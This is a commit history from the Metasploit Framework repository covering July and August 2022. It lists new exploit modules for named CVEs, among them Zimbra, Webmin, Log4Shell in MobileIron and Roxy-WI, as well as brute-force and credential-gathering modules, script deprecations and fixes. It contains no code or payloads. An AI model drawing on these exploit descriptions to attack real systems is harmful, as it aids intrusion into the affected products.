Compare commits

...

336 Commits

Author SHA1 Message Date
Metasploit 50ba675754 automatic module_metadata_base.json update 2022-08-18 10:41:42 -05:00
Christophe De La Fuente d49b74d164 Land #16809, Add exploit module for Advantech iView command injection - CVE-2022-2143 2022-08-18 17:19:14 +02:00
Metasploit 988ef6c256 automatic module_metadata_base.json update 2022-08-18 07:05:52 -05:00
Christophe De La Fuente 9348381aa6 Land #16913, Cisco ASA ASDM/HTTP Brute Force Module 2022-08-18 13:33:10 +02:00
Christophe De La Fuente 5cf7a2de92 Fix minor typos in the doc 2022-08-18 13:32:00 +02:00
Grant Willcox 6d1f64d3e9 Land #16905, Deprecate panda_2007_pavsrv51 script 2022-08-17 11:38:41 -05:00
Grant Willcox 1000b351f1 Land #16909, Deprecate get_pidgin_creds script 2022-08-16 12:38:17 -05:00
Jake Baines f093794864 Added Cisco ASA ASDM/HTTP brute force module 2022-08-16 06:31:25 -07:00
Grant Willcox e7d7d9b41a Land #16910, Deprecate script arp_scanner 2022-08-15 17:20:07 -05:00
Grant Willcox fdaab8dbbc Land #16908, Deprecate dumplinks script 2022-08-15 14:23:16 -05:00
Grant Willcox eed0b8b4ce Land #16902, Remove scripts/meterpreter/killav.rb 2022-08-15 11:09:19 -05:00
bcoles 6918cfda36 Remove scripts/meterpreter/arp_scanner.rb 2022-08-14 22:14:18 +10:00
bcoles 2dc2d8e7d5 Deprecate arp_scanner script 2022-08-14 22:10:40 +10:00
bcoles afd099eff5 Remove scripts/meterpreter/get_pidgin_creds.rb 2022-08-14 21:58:48 +10:00
bcoles 6ea5294fcd Deprecate get_pidgin_creds script 2022-08-14 21:58:28 +10:00
bcoles 76b36879c6 Remove scripts/meterpreter/dumplinks.rb 2022-08-14 21:45:12 +10:00
bcoles 6ddec82d89 Deprecate dumplinks script 2022-08-14 21:44:09 +10:00
bcoles 1734042e64 Remove scripts/meterpreter/panda_2007_pavsrv51.rb 2022-08-14 14:30:41 +10:00
bcoles c9fb0950d9 Deprecate panda_2007_pavsrv51 script 2022-08-14 14:30:23 +10:00
bcoles 59fd656cb8 Remove scripts/meterpreter/killav.rb 2022-08-14 04:51:16 +10:00
Metasploit 015ccfe62a automatic module_metadata_base.json update 2022-08-12 14:09:20 -05:00
Jack Heysel aac8ecbfe6 Land #16885, move msflag.ps1 to /data/post/...
This PR effectively runs the following command
mv scripts/ps/msflag.ps1 data/post/powershell/msflag.ps1
2022-08-12 14:33:20 -04:00
bcoles e6d4a80e0f data: powershell: msflag.ps1: Remove "from Metasploit" from flag message 2022-08-12 17:30:40 +10:00
Metasploit 60a045eaaa automatic module_metadata_base.json update 2022-08-11 18:01:40 -05:00
space-r7 dc4d3ff21b Land #16881, fix crash in forward_pageant module 2022-08-11 17:40:33 -05:00
Jack Heysel f63ad564a3 Land #16884, deprecate credcollect script
The credcollect script is effectively replaced by
post/windows/gather/credentials/credential_collector
2022-08-11 15:01:59 -04:00
Jack Heysel 09d3acf696 Land #16833, deprecate srt_webdrive_priv script
The srt_webdrive_priv script is effectively replaced by
exploit/windows/local/service_permissions
2022-08-11 14:46:31 -04:00
Metasploit a211478d92 Bump version of framework to 6.2.13 2022-08-11 12:09:07 -05:00
bwatters 773c6be61b Land #16888, Remove scripts/meterpreter/persistence.rb
Merge branch 'land-16888' into upstream-master
2022-08-10 15:45:22 -05:00
bwatters 8650aeb5bb Land #16889, Remove scripts/meterpreter/get_valid_community.rb
Merge branch 'land-16889' into upstream-master
2022-08-10 15:43:14 -05:00
bwatters fa222f3b76 Land #16890, Remove scripts/meterpreter/getgui.rb
Merge branch 'land-16890' into upstream-master
2022-08-10 15:40:50 -05:00
bwatters f4922b47a9 Land #16891, Remove scripts/meterpreter/enum_chrome.rb
Merge branch 'land-16891' into upstream-master
2022-08-10 15:38:56 -05:00
Metasploit 846cca42c9 automatic module_metadata_base.json update 2022-08-10 14:42:43 -05:00
Jack Heysel 318d608608 Land #16882, Remove enum_shares script
This PR removes the enum_shares meterpreter script
in favour for the existing enum_shares post module
2022-08-10 15:09:34 -04:00
space-r7 a68986599d Land #16841, add enum_powershell_env cleanup 2022-08-10 14:00:59 -05:00
Metasploit b20c275df6 automatic module_metadata_base.json update 2022-08-10 13:41:18 -05:00
Jack Heysel c54658b035 Land #16878, Clean up enum_logged_on_users
Adds support for non-Meterpreter sessions, fixes
rubo-cop and msftidy_docs violations
2022-08-10 14:17:50 -04:00
Jack Heysel 255bc6e558 Land #16876, remove enum_logged_on_users script
This PR removes the enum_logged_on_users meterpreter script
in favour for the existing enum_logged_on_users post module
2022-08-10 13:25:09 -04:00
Jack Heysel 8bd33d61a2 Land #16875, Remove enum_puty metepreter script
Removes the enum_puty metepreter script as we have the post
module enum_putty_saved_sessions which replaces it
2022-08-10 11:28:18 -04:00
space-r7 7f02daac5b change default password 2022-08-09 16:12:54 -05:00
Metasploit b8f6e2d549 automatic module_metadata_base.json update 2022-08-09 15:35:21 -05:00
Jack Heysel 06f0fffc20 Land #16856, Webmin package updates RCE module
This module exploits an arbitrary command injection
in Webmin versions prior to 1.997.
2022-08-09 16:13:19 -04:00
Metasploit 64c3f12573 automatic module_metadata_base.json update 2022-08-09 14:57:12 -05:00
Jack Heysel 0be211025e Land #16873, Cleanup and support non-meterpreter
This PR cleans up and adds support for non-meterpreter
sessions as well as adds documentation and error-handling
2022-08-09 15:34:21 -04:00
Jack Heysel 49c98215a0 Land #16872, fixes for Post::Windows::Registry
Fixes for shell compatibility within normalize_key and
shell_registry_getvalinfo.
2022-08-09 14:41:54 -04:00
Metasploit b56cf5ea21 automatic module_metadata_base.json update 2022-08-09 11:39:19 -05:00
bwatters a8e73d9fa9 Land #16807, New module for 0-day Zimbra privilege escalation
Merge branch 'land-16807' into upstream-master
2022-08-09 11:18:21 -05:00
Christophe De La Fuente 38b845f247 Fix from code review
- Documentation typos
- Adding ARM64 support
2022-08-09 15:09:25 +02:00
bcoles 5866cae84c Remove scripts/meterpreter/enum_chrome.rb 2022-08-09 20:00:29 +10:00
bcoles 205eec1e56 Remove scripts/meterpreter/getgui.rb 2022-08-09 17:25:43 +10:00
bcoles 821c43a6b4 Remove scripts/meterpreter/get_valid_community.rb 2022-08-09 17:19:29 +10:00
bcoles 911e5caf7e Remove scripts/meterpreter/persistence.rb 2022-08-09 17:14:24 +10:00
bcoles 4d4f7b8c55 mv scripts/ps/msflag.ps1 data/post/powershell/msflag.ps1 2022-08-08 18:00:36 +10:00
bcoles cab4c1a297 Remove scripts/meterpreter/credcollect.rb 2022-08-08 17:36:12 +10:00
bcoles 8b3e9f89b5 Deprecate credcollect script 2022-08-08 17:35:55 +10:00
bcoles 5ad10fb6f9 Remove scripts/meterpreter/srt_webdrive_priv.rb 2022-08-08 16:17:09 +10:00
bcoles 2a337c9436 Deprecate srt_webdrive_priv script 2022-08-08 16:16:44 +10:00
bcoles 779482c868 Remove scripts/meterpreter/enum_shares.rb 2022-08-08 13:44:51 +10:00
bcoles 0ac1a9d704 forward_pageant: Cleanup and fix default UNIX socket path 2022-08-08 12:56:52 +10:00
bcoles b2683981dc enum_logged_on_users: Cleanup 2022-08-08 01:50:36 +10:00
bcoles e99783f329 Post::Windows::Registry.normalize_key: Return hive without trailing slash 2022-08-07 21:50:58 +10:00
bcoles 1103ed6b3e Remove scripts/meterpreter/enum_logged_on_users.rb 2022-08-07 17:42:45 +10:00
bcoles 109f0b71e7 Remove scripts/meterpreter/enum_putty.rb 2022-08-07 17:00:11 +10:00
bcoles 6380c69775 enum_artifacts: Cleanup and support non-meterpreter sessions 2022-08-07 16:01:45 +10:00
bcoles 44ef271623 Post::Windows::Registry.shell_registry_getvalinfo: Fix reg value parsing 2022-08-07 15:31:54 +10:00
bcoles bb22c81c8b Post::Windows::Registry.normalize_key: Remove $blab global variable 2022-08-07 14:40:55 +10:00
Metasploit 365badb369 automatic module_metadata_base.json update 2022-08-05 14:41:49 -05:00
Jeffrey Martin c45262cd46 Land #16800, Add support for OpenSSL 3 2022-08-05 14:20:51 -05:00
Ron Bowes 5d7fb283b7 Capture the command output 2022-08-05 13:55:05 -05:00
Ron Bowes 6564ea9719 Change Vulnerable to Appears 2022-08-05 13:55:05 -05:00
Ron Bowes 2cde5f6364 Typo / compile error 2022-08-05 13:55:05 -05:00
Ron Bowes caff6a53f5 Add a CVE and better description 2022-08-05 13:55:05 -05:00
Ron Bowes ea581482d4 Remove the commented-out CVE, it's making lint sad 2022-08-05 13:55:05 -05:00
Ron Bowes be25e1fc77 Add documentation 2022-08-05 13:55:05 -05:00
Ron Bowes 6e8d04ddc9 Add a note that IOCs show up in logs 2022-08-05 13:55:05 -05:00
Ron Bowes cc27f563ec Small cleanup 2022-08-05 13:55:05 -05:00
Ron Bowes 5e1888ee46 Cleanups 2022-08-05 13:55:05 -05:00
Ron Bowes 0fd61e859d Make lint happy 2022-08-05 13:55:05 -05:00
Ron Bowes bba4a23f65 Add zimbra_slapper_priv_esc module (privilege escalation in Zimbra, currently 0-day) 2022-08-05 13:55:05 -05:00
Metasploit b6c3cb41bd automatic module_metadata_base.json update 2022-08-05 13:25:17 -05:00
bwatters 74eff9ffac Land #16851, Add Cassandra Web file read auxiliary module
Merge branch 'land-16851' into upstream-master
2022-08-05 13:04:07 -05:00
Metasploit 507a8961ef automatic module_metadata_base.json update 2022-08-05 12:41:13 -05:00
space-r7 0334beada2 Land #16758, add ManageEngine ADAudit Plus exploit 2022-08-05 12:19:42 -05:00
space-r7 4202502992 make some prints vprints, add steps 2022-08-05 11:34:46 -05:00
dwelch-r7 d08aeda4d3 Land #16865, Change permissions on gemfile 2022-08-05 16:05:17 +01:00
adfoster-r7 756c910b9a Add warning if OPENSSL_CONF is already present 2022-08-05 15:45:50 +01:00
adfoster-r7 1472f72876 Change permissions on gemfile 2022-08-05 14:47:30 +01:00
Ron Bowes 7c21c57564 Merge branch 'master' into manageengine-adauditplus-cve-2022-28219 2022-08-04 14:07:50 -07:00
Ron Bowes 713e476139 Remove 'puts' again 2022-08-04 12:59:11 -07:00
Ron Bowes 7844b8f5f8 Encode usernames containing spaces into 8.3 2022-08-04 12:55:08 -07:00
Ron Bowes 530174c940 Remove an errant puts 2022-08-04 12:42:14 -07:00
Ron Bowes 969c81e41c Improve the FTP reverse connection in two ways - 1-add a terminator so we know when it's done, and 2-don't fail the whole thing if we fail on one name 2022-08-04 11:13:46 -07:00
Metasploit 91f2a48270 automatic module_metadata_base.json update 2022-08-04 13:07:25 -05:00
Christophe De La Fuente 9c6a198453 Land #16796, Path traversal vulnerability in RARLAB UnRAR < 6.12 with Zimbra RCE module 2022-08-04 19:44:57 +02:00
Metasploit a858c15b47 Bump version of framework to 6.2.12 2022-08-04 12:05:15 -05:00
Metasploit abb40ea4d6 automatic module_metadata_base.json update 2022-08-04 11:39:27 -05:00
Jack Heysel 4cedbadbf9 Land #16820, fix default action err in ldap_query
If the user does not set a default action the ldap_query
module will now select a default action instead of erroring
2022-08-04 12:17:22 -04:00
Metasploit 11fcbb3509 automatic module_metadata_base.json update 2022-08-04 11:06:09 -05:00
Spencer McIntyre c244399f1f Land #16857, Add auxiliary gather module for Cisco PVC2300 camera information disclosure 2022-08-04 11:46:07 -04:00
Spencer McIntyre f87482351c Add missing return statements in the check method 2022-08-04 11:45:36 -04:00
Ron Bowes d8faa4dd37 Fix a blank line that I thought I'd fixed 2022-08-04 08:24:32 -07:00
Ron Bowes 26eee72512 Only print_status once, so it doesn't make a mess in the background 2022-08-04 08:02:28 -07:00
ErikWynter 0bb14d084f add extra check, fix typo 2022-08-04 17:27:04 +03:00
ErikWynter af712d4a89 add docs, fix typo in module description 2022-08-04 16:58:39 +03:00
Ron Bowes 2ec25fc3e5 Add a timeout to the reverse FTP connection 2022-08-03 15:17:02 -07:00
Metasploit 8febcd1b13 automatic module_metadata_base.json update 2022-08-03 17:11:28 -05:00
Ron Bowes a314423e81 Some changes requested by @cdelafuente-r7 2022-08-03 14:51:51 -07:00
bwatters 163d4d5b11 Land #16854, Add CVE-2022-31660 VMware Workspace ONE Access LPE
Merge branch 'land-16854' into upstream-master
2022-08-03 16:50:12 -05:00
Spencer McIntyre 0b9e1bbbb3 Fix "can not" to "cannot" 2022-08-03 17:45:06 -04:00
Metasploit 2e13902fd0 automatic module_metadata_base.json update 2022-08-03 13:07:59 -05:00
Christophe De La Fuente fd2b325e44 Land #16788, SCADA scanner module for BACnet protocol 2022-08-03 19:46:03 +02:00
Metasploit 937f3b13b0 automatic module_metadata_base.json update 2022-08-03 12:36:40 -05:00
Spencer McIntyre b42c26b1e1 Land #16858, Update zerologon error handling 2022-08-03 13:15:27 -04:00
ErikWynter a95d239a88 cisco_pvc only report on creds when we have them 2022-08-03 19:10:28 +03:00
Jack Heysel 2433cccde5 Land #16840, updates read_profile_list
This removes some Meterpreter-only method calls, which
allows non-Meterpreter sessions to use read_profile_list
and load_missing_hives. This also changes read_profile_list
to be able to read profile information for all accounts.
2022-08-03 11:46:44 -04:00
ErikWynter 75c6e80d68 add check method 2022-08-03 17:57:27 +03:00
adfoster-r7 f65119b353 Support OpenSSL3 and run Ubuntu 22.04 in test matrix 2022-08-03 15:49:53 +01:00
adfoster-r7 8253e99c11 Update zerologon error handling to output invalid computer name details 2022-08-03 15:32:38 +01:00
ErikWynter 7489b23336 add saving creds to the db 2022-08-03 17:27:53 +03:00
ErikWynter e0514a5bf9 add cisco pvc2300 auxiliary module 2022-08-03 16:38:09 +03:00
krastanoel 36e542e2e1 Fix check code message typo 2022-08-03 19:21:42 +07:00
Christophe De La Fuente 449a7b71d5 Add module exploit and docs for the Webmin package updates RCE 2022-08-03 12:01:41 +02:00
Metasploit 6c2cf58803 automatic module_metadata_base.json update 2022-08-02 17:05:45 -05:00
bwatters fff435fcef Land #16842, Remove scripts/meterpreter/enum_powershell_env.rb
Merge branch 'land-16842' into upstream-master
2022-08-02 16:40:27 -05:00
bwatters a54d2402dc Land #16844, Cleanup and support non-Meterpreter sessions
Merge branch 'land-16844' into upstream-master
2022-08-02 16:30:42 -05:00
Spencer McIntyre cd81ced5cb Land #16822, Fix msfrpcd console read failures 2022-08-02 17:29:25 -04:00
Jack Heysel 82182f7815 Land #16852, Zoho PMP XML-RPC Unauth RCE module
Add in exploit module for CVE-2022-35405 aka Zoho
Password Manager Pro XML-RPC Unauthenticated RCE
2022-08-02 17:18:28 -04:00
Spencer McIntyre 8ed4293e9c Add module docs for CVE-2022-31660 2022-08-02 16:42:08 -04:00
Grant Willcox 6d45320c0c Update exploit title/name 2022-08-02 14:27:27 -05:00
Grant Willcox ada3be8f7b Update options section in documentation 2022-08-02 14:13:25 -05:00
space-r7 175c428ff9 remove on_new_session logic 2022-08-02 13:41:23 -05:00
Jack Heysel 4f5c711dc7 Land #16833, Add easier way to delete host tags
This PR adds an easier way to delete host tags from
the metasploit-framework and updates documentation accordingly
2022-08-02 14:02:54 -04:00
Metasploit 3cd39d528c automatic module_metadata_base.json update 2022-08-02 12:47:06 -05:00
space-r7 ea1207d6e1 add authentication 2022-08-02 12:31:52 -05:00
Spencer McIntyre a0058c03b7 Land #16837, MobileIron Core Log4Shell RCE Module 2022-08-02 13:25:52 -04:00
Grant Willcox f0e62de46a Add CVE-2022-35405 docs and module 2022-08-02 11:57:56 -05:00
krastanoel 9a4a590b27 Add Cassandra Web file read auxiliary module 2022-08-02 23:40:40 +07:00
Spencer McIntyre 207862a810 Update module metadata now that it's disclosed 2022-08-02 12:13:34 -04:00
Spencer McIntyre ef8fe215e1 Finish up an exploit for the first bug 2022-08-02 12:13:28 -04:00
bwatters d71350dfe6 Remove superfluous code and add extra check 2022-08-02 11:04:13 -05:00
Metasploit 0602bc0aac automatic module_metadata_base.json update 2022-08-02 10:15:57 -05:00
Jack Heysel 4085efa778 Land #16832, remove echo statement from ms10_092
This PR removes the SCHELEVATOR echo statement from
the exec_schtasks method as its not needed anymore
2022-08-02 10:51:41 -04:00
Ron Bowes d86e666e18 Change Platform to 'win' 2022-08-01 15:37:58 -07:00
adfoster-r7 6ac0a7c48f Land #16848, add safe navigation to ensure fs access valid 2022-08-01 21:46:05 +01:00
Jeffrey Martin 7277483022 add safe navigation to ensure fs access valid 2022-08-01 14:33:02 -05:00
adfoster-r7 228d6dd55b Land #16846, Add guard for additional possible OS errno 2022-08-01 19:57:32 +01:00
Ron Bowes c66f98bae6 Make lint happy 2022-08-01 10:03:35 -07:00
Ron Bowes 7ee0a78ffc Change to using monotonic clock 2022-08-01 10:02:00 -07:00
Ron Bowes e7edafbcfb Throw errors in the rar-generator library rather than returning nil 2022-08-01 09:54:31 -07:00
Ron Bowes 110e9ddeee Set stance 2022-08-01 09:47:58 -07:00
Jeffrey Martin 4ff03b2305 guard for addtional possible OS errno
When communicating to ssh the OS may report `Errno::EPIPE`
this can be handled more gracefully to avoid crashing consumers
of the mixin library.
2022-08-01 10:44:32 -05:00
adfoster-r7 c447cc53fd Land #16839, Fix shell_registry_[enumvals|getvaldata] error check 2022-08-01 13:59:50 +01:00
PazFi a727ebbf5e Adding detection of I-AM responses sent in unicast form. 2022-08-01 15:11:57 +03:00
PazFi f2a70c43cb Removing unnecessary lines of code. 2022-08-01 13:55:38 +03:00
PazFi 1f7b3319a9 Changing readme file accordingly. 2022-08-01 13:43:26 +03:00
bcoles 11a00fa1f2 post/multi/gather/env: Cleanup and support non-Meterpreter sessions 2022-08-01 13:37:15 +10:00
bcoles f324b8c24e enum_powershell_env: Cleanup and support non-Meterpreter sessions 2022-08-01 00:56:21 +10:00
bcoles c8540a35d6 Remove scripts/meterpreter/enum_powershell_env.rb 2022-08-01 00:39:52 +10:00
PazFi baa686f5e0 Using Rex::Socket::Udp instead of packetfu.
Adding report_note in case user does not have privileges to write to file.
Added sleeping time between outputs.
Removed LHOST from options, since it is not needed.
Replaced print_bad with fail_with.
2022-07-31 16:50:52 +03:00
bcoles e2973b0c2e Post::Windows::UserProfiles: read_profile_list: Add :user_accounts_only option 2022-07-31 21:04:05 +10:00
bcoles a4a2b6e6db Post::Windows::UserProfiles: Use Msf::Post::File mixin 2022-07-31 20:11:25 +10:00
bcoles 98449b6ce6 Post::Windows::Registry: Fix shell_registry_[enumvals|getvaldata] error check 2022-07-31 18:14:33 +10:00
PazFi 362318c95b Fixing rubocop issues. 2022-07-31 08:44:40 +03:00
Metasploit d6738c3b18 automatic module_metadata_base.json update 2022-07-29 16:07:58 -05:00
Grant Willcox 153dbfb995 Land #16825, Add better support for IMAP strings when capturing creds 2022-07-29 15:35:46 -05:00
Grant Willcox 5aa5ae32e0 Land #16825, Add better support for IMAP strings when capturing creds 2022-07-29 15:25:31 -05:00
Ron Bowes 1e6924b19c Add better ID response 2022-07-29 12:58:55 -07:00
Metasploit d26eec6a44 Bump version of framework to 6.2.11 2022-07-29 13:16:33 -05:00
Grant Willcox 1a94376de1 Land #16835, Fix Regressions From #16774 (set Command Related) 2022-07-29 13:06:04 -05:00
Ron Bowes d36bee8755 A few simple feedback changes 2022-07-29 10:48:07 -07:00
Jake Baines b00cadfbeb Initial commit of MobileIron Core Log4Shell exploitation (CVE-2021-44228) 2022-07-29 10:31:15 -07:00
Spencer McIntyre de22141e1b Option aliases are valid option names too 2022-07-29 10:54:57 -04:00
Spencer McIntyre c770b7dd39 Don't interfere when setting options globally
This fixes an issue introduce in #16774 where the `setg` and `set -g`
commands were broken. When setting options globally, just use the
original functionality instead of searching the list based on the
current context.
2022-07-29 10:30:39 -04:00
Grant Willcox 778ee0ed06 Add in updated spec tests 2022-07-28 15:51:00 -05:00
Grant Willcox 4f3b59bee3 Add easier way to delete host tags 2022-07-28 14:52:17 -05:00
Metasploit 963500f573 Bump version of framework to 6.2.10 2022-07-28 12:03:55 -05:00
Grant Willcox 1cc42d15d0 Land #16830, Remove scripts/meterpreter/getvncpw.rb 2022-07-28 11:50:12 -05:00
Grant Willcox 5577381dd1 Land #16831, Remove scripts/meterpreter/get_env.rb 2022-07-28 11:44:12 -05:00
Grant Willcox 7df60f71b6 Remove SCHELEVATOR echo statement as its not needed anymore 2022-07-28 11:02:59 -05:00
bcoles d45a8aa9fb Remove scripts/meterpreter/get_env.rb 2022-07-28 17:34:13 +10:00
bcoles 02519e96c6 Remove scripts/meterpreter/getvncpw.rb 2022-07-28 17:05:31 +10:00
Grant Willcox 81ca555d28 Land #16824, Msf::Post::Windows::Priv: Fix is_admin? / is_system? for shell sessions 2022-07-27 16:28:05 -05:00
Grant Willcox 9191003c74 Land #16739, Weekly dependency updates for Gemfile.lock 2022-07-27 15:33:15 -05:00
Ron Bowes 4e4a1da4e4 Add module docs for the split-up unrar modules 2022-07-27 13:24:29 -07:00
Ron Bowes e76ef61452 Move a warning into the exploit function 2022-07-27 12:48:56 -07:00
Ron Bowes f279e8d6ca Split the CVE-2022-30333 unrar module into two different modules with a shared mixin to generate the file 2022-07-27 12:45:47 -07:00
Grant Willcox 2d05bf7412 Land #16823, Remove scripts/meterpreter/prefetchtool.rb 2022-07-27 13:07:00 -05:00
Ron Bowes 7c0bb35a4b Fix a crash from the original module if 'arg' was nil, and remove an errant space 2022-07-27 10:43:14 -07:00
Grant Willcox 09ea05754c Land #16094, Fix msfdb init command failure in systems that use the 'pg_ctl.rb' msfdb helper 2022-07-27 12:15:37 -05:00
Ron Bowes aa51353605 Move the arg-parsing logic out of the login request 2022-07-27 10:14:37 -07:00
bcoles 8a22ec8da8 Msf::Post::Windows::Priv: Fix is_admin? / is_system? for shell sessions 2022-07-28 02:55:01 +10:00
Grant Willcox 19d044621c Fix minor capitalization issue 2022-07-27 11:47:31 -05:00
bcoles 6ad17d587c Remove scripts/meterpreter/prefetchtool.rb 2022-07-28 00:10:47 +10:00
space-r7 d6d51eecb0 manually delete file 2022-07-27 08:50:00 -05:00
Grant Willcox bcd1f63848 Fix logicial error when handing the case where a user did not specify an action at any point and is using the default one 2022-07-27 07:41:40 -05:00
adfoster-r7 00b85e9bb4 Fix msfrpcd console read failures 2022-07-27 13:11:11 +01:00
Ron Bowes d53dc7ca90 Add support for RFC7888-style logins, which send the username/password as separate lines 2022-07-26 15:11:46 -07:00
Metasploit 1ac4a74070 automatic module_metadata_base.json update 2022-07-26 15:19:21 -05:00
Grant Willcox 7c82c1cf32 Land #16817, Consolidate the config directory lookups 2022-07-26 14:57:50 -05:00
Grant Willcox c0721305e1 Land #16798, Remove scripts/meterpreter/pml_driver_config.rb 2022-07-26 13:25:43 -05:00
Ron Bowes b4b5f31c3d Add documentation 2022-07-26 10:48:18 -07:00
Grant Willcox dbf9ca5f56 Land #16810, Fix --tag for 'hosts -t/--tag' command 2022-07-26 12:24:47 -05:00
Ron Bowes 860cd38bbb Add documentation 2022-07-26 10:23:24 -07:00
entity0xfe 488d361721 Fix --tag for 'hosts' -t | --tag command
Enable parsing of the -t argument
2022-07-26 11:39:38 -05:00
Grant Willcox 36811ea364 Land #16819, Fix hosts crash when viewing tags 2022-07-26 11:31:19 -05:00
Ron Bowes 7a79b8cbc2 Some fixes for Christophe's review 2022-07-26 09:24:33 -07:00
adfoster-r7 a3ce694b88 Fix hosts crash when viewing tags 2022-07-26 12:07:57 +01:00
Grant Willcox 4bbae96840 Land #16801 - Remove scripts/meterpreter/schelevator.rb 2022-07-25 17:06:24 -05:00
Metasploit a9dfb6ccb0 automatic module_metadata_base.json update 2022-07-25 16:30:57 -05:00
Grant Willcox 4def2e56bc Land #16793, Add Roxy-WI (CVE-2022-31137) Unauthenticated Command Injection RCE 2022-07-25 16:09:43 -05:00
Jeffrey Martin f779f0f482 consolidate the config directory lookups
The user configuration directory can be overridden via environment
variables or configuration files.

In the current implementation `Msf::Config.config_directory` should be
utilized for consistent location reporting. `Msf::Config.get_config_root`
is reserved to generation of a default location and should be considered
`private` as it ignores some injected configuration options. Currently
autoloading does not allow application of the `private` keyword to this method,
requiring guidance during development that module writers should access the
full configured `user` value of `Msf::Config.config_directory`.
2022-07-25 15:27:21 -05:00
Grant Willcox 74496c1a29 Add in updated scenario documentation 2022-07-25 14:14:52 -05:00
Grant Willcox 72b1dbfeee Remove code that could cause check method to fail, fix up some documentation errors and add in scenario, and generally address some review comments 2022-07-25 13:05:04 -05:00
Nuri Çilengir 1094ce95c0 Update roxy_wi_exec.md 2022-07-25 17:14:02 +00:00
Nuri Çilengir 8b42e893b1 Update roxy_wi_exec.rb 2022-07-25 16:45:44 +00:00
space-r7 24ab27bdfe add x86 arch and additional check for response 2022-07-25 11:16:26 -05:00
Nuri Çilengir eca8af4e2a Update roxy_wi_exec.rb 2022-07-25 16:13:14 +00:00
Nuri Çilengir b16da0fe92 Update roxy_wi_exec.rb 2022-07-25 16:05:20 +00:00
Nuri Çilengir bdf8defe53 Apply suggestions from code review 2022-07-25 16:03:09 +00:00
adfoster-r7 a97f88423c Land #16813, Fix default LDAP query descriptions 2022-07-25 10:10:46 +01:00
PazFi 665bde7f60 Enforcing regex input validation on local IP. 2022-07-25 08:17:39 +03:00
PazFi a6bdc5ea29 -Validating md file with msftidy_docs.
-Removing global variables, and calling data stored in datastore when required.
-Calling methods or variables instead of calling terminal commands.
-Some indentations.
-Using heredocs when handling multiple strings.
-Handling the case where LHOST does not contain IP address.
2022-07-24 18:51:53 +03:00
Grant Willcox 14e3c694ff Fix default LDAP query descriptions due to some typos 2022-07-22 12:13:14 -05:00
Ron Bowes b4d2294255 Use vprint instead of print for some status messages, and clean up some comments 2022-07-22 10:01:27 -07:00
Ron Bowes d63912a1b8 Use better thread synchronization methods 2022-07-22 09:59:04 -07:00
Ron Bowes fe99eb0d0a Whoops, better lint - needed -A instead of -a 2022-07-22 09:52:37 -07:00
Ron Bowes e6282c3ff8 Remove win_cmd 2022-07-22 09:49:33 -07:00
Ron Bowes f3731191a1 Add timeouts for the reverse connections using IO.select() 2022-07-22 09:45:53 -07:00
Nuri Çilengir bc0b27e1e2 Apply suggestions from code review
Co-authored-by: Grant Willcox <63261883+gwillcox-r7@users.noreply.github.com>
2022-07-22 12:58:46 +00:00
Nuri Çilengir fc3b08fb8b Apply suggestions from code review
Co-authored-by: Grant Willcox <63261883+gwillcox-r7@users.noreply.github.com>
2022-07-22 12:51:40 +00:00
Nuri Çilengir 420e67aca9 Apply suggestions from code review
Co-authored-by: Grant Willcox <63261883+gwillcox-r7@users.noreply.github.com>
2022-07-22 12:24:43 +00:00
Nuri Çilengir 628f5970b1 Apply suggestions from code review
Co-authored-by: Grant Willcox <63261883+gwillcox-r7@users.noreply.github.com>
2022-07-22 12:24:26 +00:00
Metasploit fbc4893a84 automatic module_metadata_base.json update 2022-07-21 18:57:33 -05:00
space-r7 e0a5bfd7b3 remove opts used for debugging 2022-07-21 18:50:23 -05:00
Grant Willcox abe90c1089 Land #16668, HTTP Crawler: don't expect page object for msg 2022-07-21 18:35:35 -05:00
space-r7 e1b0e871b3 add finished module and docs 2022-07-21 18:33:56 -05:00
Grant Willcox e91beedc4a Rubocop fixes 2022-07-21 17:01:56 -05:00
Grant Willcox 210bd33a01 Land #16774, Suggest a correct datastore option 2022-07-21 14:37:45 -05:00
Metasploit c4a245640e Bump version of framework to 6.2.9 2022-07-21 12:06:12 -05:00
Ron Bowes 8c729e8414 Add Comm 2022-07-21 08:58:28 -07:00
bcoles 6b20a5a0a9 Remove scripts/meterpreter/schelevator.rb 2022-07-22 00:19:29 +10:00
adfoster-r7 d1f6433a77 Land #16797, Workflows Labels fix typo 2022-07-21 13:46:23 +01:00
Nuri Çilengir ebe61b50a7 Fixed parameter quotes 2022-07-21 12:25:29 +00:00
Nuri Çilengir 135a25be4d Tested and fixed problems 2022-07-21 11:42:18 +00:00
Nuri Çilengir d23c175f28 Added AutoCheck and CmdStager 2022-07-21 11:39:58 +00:00
bcoles 318520a042 Remove scripts/meterpreter/pml_driver_config.rb 2022-07-21 18:18:12 +10:00
bcoles a7676dc375 Workflows: Labels: Fix typo 2022-07-21 12:08:57 +10:00
Metasploit e7ecd1618a automatic module_metadata_base.json update 2022-07-20 18:12:39 -05:00
Grant Willcox ecf8434f32 Land #16778, Deprecate checkvm script and update checkvm post module 2022-07-20 17:51:01 -05:00
Grant Willcox 09ffd7f115 Add in missing features from checkvm script to post/windows/gather/checkvm.rb 2022-07-20 17:21:58 -05:00
Grant Willcox a4dee1a171 Land #16743, Fix mssql crash when using tds encryption 2022-07-20 16:06:35 -05:00
Ron Bowes e316693bdc Lint 2022-07-20 13:39:20 -07:00
Ron Bowes 09c1cf4308 Fix the CRC32 errors in the RAR file 2022-07-20 12:34:10 -07:00
Christophe De La Fuente f9a951d034 Land #16737, Remove initial code duplication between mssql clients 2022-07-20 19:44:25 +02:00
Jeffrey Martin 5dfec3f746 Land #16792, Widen rescue scope for reverse ssh handler 2022-07-20 09:28:26 -05:00
Jeffrey Martin 94db8b957b Land #16789, Add openssl version to debug command 2022-07-20 09:27:23 -05:00
adfoster-r7 e46a71f595 Land #16776, Add Rex::Exploitation::CmdStagerFtpHttp to Msf::Exploit::CmdStager 2022-07-20 02:50:29 +01:00
space-r7 a5cb271b21 add initial module work 2022-07-19 17:25:57 -05:00
Ron Bowes 2974f55126 Better description and more random 2022-07-19 14:18:11 -07:00
Ron Bowes 3401752fa7 Check in the unrar module for cve-2022-30333 2022-07-19 14:05:15 -07:00
Grant Willcox a7b379f292 Fix up check code segment that would never be reached due to if/else statement above 2022-07-19 16:03:44 -05:00
Grant Willcox 59ea337c6b Fix up CVE format, add in Notes section 2022-07-19 15:58:11 -05:00
Grant Willcox 336a1feaf7 Fix up naming of module and documentation and fix most of the RuboCop and formatting errors 2022-07-19 15:44:52 -05:00
Nuri Çilengir d2769ef82b Add Roxy-WI exec 2022-07-19 21:08:45 +03:00
adfoster-r7 526ce819c0 Widen rescue scope for reverse ssh handler 2022-07-19 18:29:58 +01:00
